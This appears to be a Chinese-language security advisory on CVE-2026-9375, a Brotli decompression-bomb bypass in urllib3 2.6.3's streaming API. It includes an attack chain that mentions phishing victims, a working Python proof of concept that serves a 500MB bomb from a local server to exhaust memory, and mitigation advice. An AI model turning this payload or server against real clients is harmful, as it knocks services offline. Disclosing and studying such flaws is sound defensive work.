IPBUF安全漏洞报告
English
CVE-2026-9375 CVSS 7.5 高危

CVE-2026-9375:urllib3流式API Brotli解压炸弹绕过导致拒绝服务漏洞

披露日期: 2026-06-19

漏洞信息

漏洞编号
CVE-2026-9375
漏洞类型
拒绝服务(DoS)/ 解压炸弹绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
urllib3

相关标签

urllib3Brotli拒绝服务DoS解压炸弹解压炸弹绕过流式APICVE-2025-66471Pythonrequests

漏洞概述

CVE-2026-9375是urllib3 2.6.3版本中存在的一个高危拒绝服务漏洞,CVSS评分为7.5。该漏洞存在于urllib3的流式API(`preload_content=False`)中,当使用Brotli压缩支持时,攻击者可以通过恶意HTTP服务器触发解压炸弹攻击,导致内存耗尽(OOM)从而引发拒绝服务。

urllib3在2.6.0版本中引入了`max_length`保护机制以缓解CVE-2025-66471(解压炸弹漏洞),但在2.6.3版本中,该保护机制在三个独立的代码路径中被绕过。具体包括:`read()`方法中的缓冲区算术运算可能产生负数`max_length`值;`flush_decoder`无条件地将`max_length`覆盖为`-1`;`_flush_decoder()`方法完全未传递任何限制参数,默认使用无限制解压。这些缺陷使得恶意服务器能够通过发送经过Brotli压缩的大量数据,强制urllib3将超大负载解压到内存中,最终耗尽系统资源。

该漏洞影响所有使用urllib3 2.6.3且启用了Brotli支持的应用和库。由于`requests`库底层使用urllib3进行HTTP通信,因此使用`requests`从不受信任的数据源流式获取内容的应用同样受到该漏洞影响。漏洞无需认证、无需用户交互即可通过网络远程利用,对系统可用性造成严重影响。

技术细节

该漏洞的核心在于urllib3 2.6.3版本中Brotli解压路径对`max_length`保护机制的绕过。urllib3 2.6.0版本引入了`max_length`参数来限制流式解压过程中单个块的最大长度,以防止解压炸弹攻击。然而,在2.6.3版本中,存在三个独立的代码路径使得该保护失效:

1. **`read()`方法中的负数溢出**:`read()`方法中存在缓冲区算术运算,当输入参数与缓冲区大小进行减法运算时,可能产生负数结果。如果`max_length`变为负数,解码器可能将其解释为无限制或异常行为,从而绕过大小限制。

2. **`flush_decoder`无条件覆盖**:`flush_decoder`方法在调用解码器刷新时,无条件地将`max_length`参数设置为`-1`(即无限制),完全忽略了上层传入的大小限制。这使得在刷新解码器缓冲区时,恶意服务器的数据可以无限制地解压到内存中。

3. **`_flush_decoder()`未传递限制**:`_flush_decoder()`方法在调用Brotli解码器时,完全没有传递`max_length`参数。由于参数默认为`None`或无限制值,解码器将无限制地解压所有待处理的数据。

利用方式:攻击者控制一个恶意HTTP服务器,返回经过Brotli压缩的超大响应数据。当受害客户端使用urllib3的流式API(`preload_content=False`)读取响应时,由于上述三个代码路径绕过了大小限制,Brotli解码器会将压缩数据无限制地解压到内存中,导致进程内存耗尽,触发OOM Killer或系统崩溃,造成拒绝服务攻击。

攻击链分析

STEP 1
步骤1:搭建恶意HTTP服务器
攻击者部署一个恶意HTTP服务器,该服务器返回经过Brotli压缩的高度可压缩数据(解压炸弹),即少量压缩数据在解压后变成海量数据。
STEP 2
步骤2:诱导受害者发起请求
攻击者通过钓鱼邮件、恶意链接或其他社会工程学手段,诱导受害者的应用使用urllib3的流式API(preload_content=False)从恶意服务器获取内容。
STEP 3
步骤3:触发解压炸弹
urllib3接收到Brotli压缩的响应后,在流式读取过程中,三个存在缺陷的代码路径(read()负数溢出、flush_decoder无条件覆盖、_flush_decoder()未传限制)绕过了max_length保护机制。
STEP 4
步骤4:内存耗尽导致拒绝服务
Brotli解码器无限制地将压缩数据解压到内存中,迅速消耗系统可用内存,触发OOM Killer或系统崩溃,导致应用程序不可用,实现拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-9375 - urllib3 Brotli Decompression Bomb PoC # This PoC demonstrates the decompression bomb bypass in urllib3 streaming API import brotli import http.server import threading import urllib3 # Step 1: Create a highly compressible payload (decompression bomb) # A small compressed payload that expands to a massive size when decompressed BOMB_SIZE = 500 * 1024 * 1024 # 500MB when decompressed bomb_data = b"A" * BOMB_SIZE # Highly compressible data compressed_bomb = brotli.compress(bomb_data) print(f"[*] Compressed bomb size: {len(compressed_bomb)} bytes") print(f"[*] Decompressed size: {len(bomb_data)} bytes ({BOMB_SIZE / 1024 / 1024:.0f}MB)") # Step 2: Create a malicious HTTP server that serves the Brotli-compressed bomb class MaliciousServer(http.server.BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-Type", "text/plain") self.send_header("Content-Encoding", "br") # Brotli encoding self.send_header("Content-Length", str(len(compressed_bomb))) self.end_headers() self.wfile.write(compressed_bomb) def log_message(self, format, *args): pass # Suppress server logs # Step 3: Start the malicious server def run_server(): server = http.server.HTTPServer(("127.0.0.1", 8888), MaliciousServer) server.serve_forever() server_thread = threading.Thread(target=run_server, daemon=True) server_thread.start() print("[*] Malicious server started on http://127.0.0.1:8888") # Step 4: Exploit - Stream content using urllib3 with preload_content=False # This triggers the decompression bomb bypass via the vulnerable code paths print("[*] Sending request to malicious server...") print("[*] The vulnerable code paths (read(), flush_decoder, _flush_decoder())") print(" will bypass max_length protection, causing OOM...") http = urllib3.PoolManager() try: response = http.request( "GET", "http://127.0.0.1:8888/", preload_content=False # Enable streaming mode (vulnerable path) ) # Reading from the response triggers the decompression bomb # max_length is bypassed due to negative arithmetic, flush_decoder override, # and _flush_decoder() not passing any limit data = response.read() print(f"[!] Read {len(data)} bytes (should have been blocked by max_length)") except MemoryError: print("[+] SUCCESS: MemoryError triggered - DoS achieved!") except Exception as e: print(f"[*] Exception: {type(e).__name__}: {e}")

影响范围

urllib3 2.6.3
Brotli 1.2.0

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)在应用层对urllib3的流式读取操作手动设置合理的`max_length`限制;2)使用`preload_content=True`模式先获取完整响应头后再决定是否流式读取;3)在系统层面配置内存使用限制(如cgroup、ulimit),防止单个进程耗尽全部内存;4)部署网络层防护,监控和过滤异常的Brotli压缩响应;5)考虑暂时禁用Brotli压缩支持以规避该漏洞路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表